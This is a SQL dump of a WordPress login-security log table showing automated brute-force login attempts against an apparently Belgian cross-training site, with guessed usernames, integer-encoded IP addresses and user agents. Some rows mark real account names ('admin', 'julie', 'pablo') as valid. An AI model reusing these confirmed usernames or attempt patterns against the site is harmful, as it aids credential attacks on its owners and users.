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(102713, 1499061909.795708, 1, 'loginFailInvalidUsername', 'outils', 0, 3230789411, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102714, 1499061912.004307, 1, 'loginFailInvalidUsername', 'professionnel', 0, 3230789411, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102715, 1499062347.719616, 1, 'loginFailInvalidUsername', 'test', 0, 3065682442, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102717, 1499063075.051007, 1, 'loginFailValidUsername', 'admin', 1, 1534992972, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102718, 1499063259.507156, 1, 'loginFailInvalidUsername', 'travail', 0, 3497108325, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102719, 1499063547.129948, 1, 'loginFailInvalidUsername', 'test', 0, 1978637058, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102720, 1499063549.077910, 1, 'loginFailInvalidUsername', 'test', 0, 1978637058, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102721, 1499064666.461268, 1, 'loginFailInvalidUsername', '{login}', 0, 1541066812, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0');
INSERT INTO `www2_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(102722, 1499066218.878886, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3279479929, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102723, 1499067738.696639, 1, 'loginFailInvalidUsername', 'test', 0, 3670527750, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102724, 1499067740.239982, 1, 'loginFailInvalidUsername', 'test', 0, 3670527750, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102725, 1499067777.725797, 1, 'loginFailValidUsername', 'admin', 1, 998235371, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102726, 1499070842.274753, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1833242594, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102727, 1499071392.195868, 1, 'loginFailValidUsername', 'admin', 1, 3344407295, 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; chromeframe/28.0.1500.37; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E)'),
(102728, 1499072407.184723, 1, 'loginFailValidUsername', 'admin', 1, 1424509955, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102729, 1499072454.078715, 1, 'loginFailInvalidUsername', 'test', 0, 1892205804, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102730, 1499072455.924951, 1, 'loginFailInvalidUsername', 'test', 0, 1892205804, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102731, 1499072826.760383, 1, 'loginFailInvalidUsername', 'test', 0, 3667643457, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102732, 1499072828.255731, 1, 'loginFailInvalidUsername', 'test', 0, 3667643457, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102733, 1499074064.925814, 1, 'loginFailInvalidUsername', '{login}', 0, 3105429741, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102734, 1499074831.107970, 1, 'loginFailInvalidUsername', 'test', 0, 2943245315, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102735, 1499074832.898561, 1, 'loginFailInvalidUsername', 'test', 0, 2943245315, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102736, 1499075655.533870, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1828828346, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102737, 1499077264.352548, 1, 'loginFailValidUsername', 'admin', 1, 1406483535, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102738, 1499078897.957499, 1, 'loginFailInvalidUsername', '{login}', 0, 3107039351, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102739, 1499079481.173916, 1, 'loginFailInvalidUsername', 'test', 0, 48928952, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102740, 1499079482.175091, 1, 'loginFailInvalidUsername', 'test', 0, 48928952, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102741, 1499080553.931040, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1564345887, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102742, 1499081829.866750, 1, 'loginFailInvalidUsername', 'test', 0, 1344927053, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102743, 1499081830.813709, 1, 'loginFailInvalidUsername', 'test', 0, 1344927053, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102744, 1499082106.261735, 1, 'loginFailInvalidUsername', 'test', 0, 1887825188, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102745, 1499082107.499325, 1, 'loginFailInvalidUsername', 'test', 0, 1887825188, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102746, 1499082134.675287, 1, 'loginFailValidUsername', 'admin', 1, 2537172334, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102747, 1499084454.257570, 1, 'loginFailInvalidUsername', 'test', 0, 1768455669, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102748, 1499084455.415793, 1, 'loginFailInvalidUsername', 'test', 0, 1768455669, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102749, 1499085305.044176, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1043021860, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102750, 1499086595.333466, 1, 'loginFailInvalidUsername', 'test', 0, 1728428970, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102751, 1499086596.785355, 1, 'loginFailInvalidUsername', 'test', 0, 1728428970, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102752, 1499087822.613390, 1, 'loginFailInvalidUsername', 'test', 0, 1730424002, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102753, 1499087823.926410, 1, 'loginFailInvalidUsername', 'test', 0, 1730424002, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102755, 1499087857.479914, 1, 'loginFailInvalidUsername', 'test', 0, 1729119484, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102756, 1499087931.537796, 1, 'loginFailInvalidUsername', 'test', 0, 1578441763, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102757, 1499087932.517729, 1, 'loginFailInvalidUsername', 'test', 0, 1578441763, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102758, 1499088433.244541, 1, 'loginFailInvalidUsername', '{login}', 0, 637296469, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102759, 1499090312.667948, 1, 'loginFailInvalidUsername', 'test', 0, 1486763258, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102760, 1499090313.950752, 1, 'loginFailInvalidUsername', 'test', 0, 1486763258, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102761, 1499091645.600067, 1, 'loginFailInvalidUsername', 'test', 0, 1977494876, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102762, 1499091646.934594, 1, 'loginFailInvalidUsername', 'test', 0, 1977494876, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102763, 1499094148.708905, 1, 'loginFailInvalidUsername', 'test', 0, 1892043598, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102764, 1499094151.985321, 1, 'loginFailInvalidUsername', 'test', 0, 1892043598, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102765, 1499095491.682529, 1, 'loginFailInvalidUsername', 'test', 0, 694199286, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102766, 1499095561.094316, 1, 'loginFailInvalidUsername', 'test', 0, 1740655719, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102768, 1499096901.439529, 1, 'loginFailInvalidUsername', 'test', 0, 1563216010, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102778, 1499101772.454669, 1, 'loginFailValidUsername', 'admin', 1, 1539836950, 'Mozilla/5.0 (Windows NT 5.0) AppleWebKit/533.06.59 (KHTML, like Gecko) Version/5.5.1 Safari/532.14'),
(102779, 1499104692.140287, 1, 'loginFailInvalidUsername', 'test', 0, 2098853766, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102782, 1499115131.450212, 1, 'loginFailValidUsername', 'admin', 1, 2745977144, 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.0.30618; .NET CLR 3.5.30729)'),
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(102945, 1499251985.587932, 1, 'loginFailInvalidUsername', 'test', 0, 609188809, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102946, 1499251987.529177, 1, 'loginFailInvalidUsername', 'test', 0, 609188809, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102947, 1499252675.880969, 1, 'loginFailInvalidUsername', 'test', 0, 1047266096, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102948, 1499252677.120377, 1, 'loginFailInvalidUsername', 'test', 0, 1047266096, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102949, 1499253890.699367, 1, 'loginFailInvalidUsername', 'test', 0, 453277495, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102950, 1499253891.914226, 1, 'loginFailInvalidUsername', 'test', 0, 453277495, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102951, 1499256143.960988, 1, 'loginFailInvalidUsername', 'test', 0, 1744507835, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102952, 1499256145.250213, 1, 'loginFailInvalidUsername', 'test', 0, 1744507835, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102953, 1499257081.411268, 1, 'loginFailInvalidUsername', 'test', 0, 2637234553, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102954, 1499257083.269198, 1, 'loginFailInvalidUsername', 'test', 0, 2637234553, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102955, 1499258171.146266, 1, 'loginFailInvalidUsername', 'test', 0, 778281968, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102956, 1499258172.231131, 1, 'loginFailInvalidUsername', 'test', 0, 778281968, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102957, 1499261449.572754, 1, 'loginFailInvalidUsername', 'test', 0, 771295430, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102958, 1499262155.447062, 1, 'loginFailInvalidUsername', 'test', 0, 702117457, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102959, 1499262157.306201, 1, 'loginFailInvalidUsername', 'test', 0, 702117457, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102960, 1499265045.747495, 1, 'loginFailInvalidUsername', 'test', 0, 1529952294, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102961, 1499265046.810751, 1, 'loginFailInvalidUsername', 'test', 0, 1529952294, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102962, 1499265147.555729, 1, 'loginFailInvalidUsername', 'test', 0, 2970739670, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102963, 1499266196.004869, 1, 'loginFailInvalidUsername', 'test', 0, 1394013955, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102964, 1499266197.112255, 1, 'loginFailInvalidUsername', 'test', 0, 1394013955, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102965, 1499266900.714379, 1, 'loginFailInvalidUsername', 'test', 0, 3679144720, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102966, 1499266902.427103, 1, 'loginFailInvalidUsername', 'test', 0, 3679144720, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102967, 1499267803.117123, 1, 'loginFailInvalidUsername', 'test', 0, 1953905714, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102968, 1499267804.859877, 1, 'loginFailInvalidUsername', 'test', 0, 1953905714, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102969, 1499272321.590131, 1, 'loginFailInvalidUsername', 'test', 0, 1836740480, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102970, 1499272322.734130, 1, 'loginFailInvalidUsername', 'test', 0, 1836740480, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102971, 1499274441.794567, 1, 'loginFailInvalidUsername', 'test', 0, 1450921007, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102972, 1499274442.880744, 1, 'loginFailInvalidUsername', 'test', 0, 1450921007, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102973, 1499275902.936555, 1, 'loginFailInvalidUsername', 'test', 0, 2631915670, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102974, 1499276999.277692, 1, 'loginFailInvalidUsername', 'test', 0, 762526630, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102975, 1499277000.596993, 1, 'loginFailInvalidUsername', 'test', 0, 762526630, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102976, 1499278197.785928, 1, 'loginFailInvalidUsername', 'training', 0, 2954879402, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102977, 1499278204.218670, 1, 'loginFailInvalidUsername', 'notre', 0, 2954879402, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102978, 1499278209.048969, 1, 'loginFailInvalidUsername', 'pour', 0, 2954879402, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102979, 1499278213.927037, 1, 'loginFailInvalidUsername', 'cross', 0, 2954879402, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102980, 1499278219.947323, 1, 'loginFailInvalidUsername', 'objectifs', 0, 2954879402, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102981, 1499278222.466487, 1, 'loginFailInvalidUsername', 'venez', 0, 2954879402, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102982, 1499278226.474776, 1, 'loginFailInvalidUsername', 'outils', 0, 2954879402, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102983, 1499278231.460150, 1, 'loginFailInvalidUsername', 'professionnel', 0, 2954879402, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102984, 1499278234.891029, 1, 'loginFailInvalidUsername', 'travail', 0, 2954879402, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102985, 1499278239.395744, 1, 'loginFailInvalidUsername', 'namur', 0, 2954879402, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102986, 1499278472.380439, 1, 'loginFailInvalidUsername', 'test', 0, 1329838193, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102987, 1499278473.277611, 1, 'loginFailInvalidUsername', 'test', 0, 1329838193, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102988, 1499278808.089927, 1, 'loginFailInvalidUsername', 'test', 0, 2631371549, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102989, 1499278809.185603, 1, 'loginFailInvalidUsername', 'test', 0, 2631371549, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102990, 1499279369.878585, 1, 'loginFailInvalidUsername', 'test', 0, 1524322520, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102991, 1499279370.837397, 1, 'loginFailInvalidUsername', 'test', 0, 1524322520, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102992, 1499279619.069371, 1, 'loginFailInvalidUsername', 'center', 0, 1081048870, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102993, 1499280642.169164, 1, 'loginFailInvalidUsername', 'outils', 0, 3705171747, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102994, 1499280645.983448, 1, 'loginFailInvalidUsername', 'professionnel', 0, 3705171747, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102995, 1499280649.997070, 1, 'loginFailInvalidUsername', 'travail', 0, 3705171747, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102996, 1499280652.766121, 1, 'loginFailInvalidUsername', 'namur', 0, 3705171747, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102997, 1499280655.555063, 1, 'loginFailInvalidUsername', 'center', 0, 3705171747, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102998, 1499280658.491340, 1, 'loginFailValidUsername', 'julie', 2, 3705171747, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102999, 1499280660.978029, 1, 'loginFailValidUsername', 'pablo', 3, 3705171747, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103000, 1499280663.958173, 1, 'loginFailInvalidUsername', 'vous', 0, 3705171747, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103001, 1499280667.075141, 1, 'loginFailInvalidUsername', 'training', 0, 3705171747, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103002, 1499280669.550442, 1, 'loginFailInvalidUsername', 'notre', 0, 3705171747, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103003, 1499280980.072632, 1, 'loginFailInvalidUsername', 'test', 0, 2561250091, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103004, 1499280981.481631, 1, 'loginFailInvalidUsername', 'test', 0, 2561250091, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103005, 1499281973.251296, 1, 'loginFailInvalidUsername', 'pour', 0, 1732504338, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103006, 1499281975.920736, 1, 'loginFailInvalidUsername', 'cross', 0, 1732504338, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103007, 1499281978.649747, 1, 'loginFailInvalidUsername', 'objectifs', 0, 1732504338, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103008, 1499281981.340308, 1, 'loginFailInvalidUsername', 'venez', 0, 1732504338, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103009, 1499281984.027810, 1, 'loginFailInvalidUsername', 'outils', 0, 1732504338, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103010, 1499281986.741367, 1, 'loginFailInvalidUsername', 'professionnel', 0, 1732504338, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103011, 1499281989.758984, 1, 'loginFailInvalidUsername', 'travail', 0, 1732504338, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103012, 1499281992.469519, 1, 'loginFailInvalidUsername', 'namur', 0, 1732504338, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103013, 1499281995.189833, 1, 'loginFailInvalidUsername', 'center', 0, 1732504338, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103014, 1499281997.865923, 1, 'loginFailValidUsername', 'julie', 2, 1732504338, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103015, 1499283034.039647, 1, 'loginFailValidUsername', 'pablo', 3, 1729918482, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103016, 1499283037.176872, 1, 'loginFailInvalidUsername', 'vous', 0, 1729918482, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103017, 1499283040.011642, 1, 'loginFailInvalidUsername', 'training', 0, 1729918482, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103018, 1499283043.141409, 1, 'loginFailInvalidUsername', 'notre', 0, 1729918482, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103019, 1499283045.386447, 1, 'loginFailInvalidUsername', 'pour', 0, 1729918482, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103020, 1499283047.579389, 1, 'loginFailInvalidUsername', 'cross', 0, 1729918482, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103021, 1499283050.483806, 1, 'loginFailInvalidUsername', 'objectifs', 0, 1729918482, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103022, 1499283052.672844, 1, 'loginFailInvalidUsername', 'venez', 0, 1729918482, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103023, 1499283055.201393, 1, 'loginFailInvalidUsername', 'outils', 0, 1729918482, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103024, 1499283057.407662, 1, 'loginFailInvalidUsername', 'professionnel', 0, 1729918482, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103025, 1499283182.495307, 1, 'loginFailValidUsername', 'pablo', 3, 1732504330, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103026, 1499283187.220715, 1, 'loginFailInvalidUsername', 'vous', 0, 1732504330, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103027, 1499283189.986007, 1, 'loginFailInvalidUsername', 'training', 0, 1732504330, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103028, 1499283192.736068, 1, 'loginFailInvalidUsername', 'notre', 0, 1732504330, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103029, 1499283195.415062, 1, 'loginFailInvalidUsername', 'pour', 0, 1732504330, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1');
INSERT INTO `www2_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(103030, 1499283198.267582, 1, 'loginFailInvalidUsername', 'cross', 0, 1732504330, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103031, 1499283200.979033, 1, 'loginFailInvalidUsername', 'objectifs', 0, 1732504330, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
